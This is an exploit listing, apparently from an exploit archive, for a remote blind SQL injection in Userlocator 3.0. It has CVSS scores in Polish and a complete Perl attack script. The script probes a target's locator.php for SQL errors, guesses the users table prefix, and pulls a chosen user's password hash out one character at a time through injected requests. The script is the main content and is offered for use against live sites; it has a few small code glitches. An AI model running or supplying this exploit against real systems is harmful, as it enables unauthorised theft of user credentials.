Userlocator 3.0 (y) Remote Blind SQL Injection Exploit

2009.01.08
Credit: katharsis
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q { ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: [~] www.katharsis.x2.to [~] nebelfrost23@web.de }; if (@ARGV < 2) { print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl www.target.com 1\n"; exit; } my $page = shift; my $uid = shift; my $prefix; my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0'); print "[x] Vulnerability check...\n"; my $chreq = get("http://".$page."/locator.php?action=get_user&y='"); if (($chreq =~ m/Database error/i) || ($chreq =~ m/Invalid SQL/i)) { print "[x] Seems to be vulnerable!\n"; } else { print "[o] Seems to be patched, sorry\n"; exit; } print "[^] Prefix check...\n"; if ($chreq =~ m/(..._)wlw/i) { print "[^] Success, using Prefix '$1'\n"; $prefix = $1; } else { print "[o] Can't find prefix, using 'bb1_'\n"; $prefix = "bb1"; } print "[+] Getting hash...\n"; print "[+] Hash: "; my $curnum = 1; while($curnum < 32) { my $false_result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=-1/*"); foreach(@charset) { my $ascode = ord($_); my $result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=".$ascode."/*"); if (length($result) != 0) { if (length($result) != length($false_result)) { print chr($ascode); $curnum++; } } } } print "\n[+] Done!\n"; # EOF


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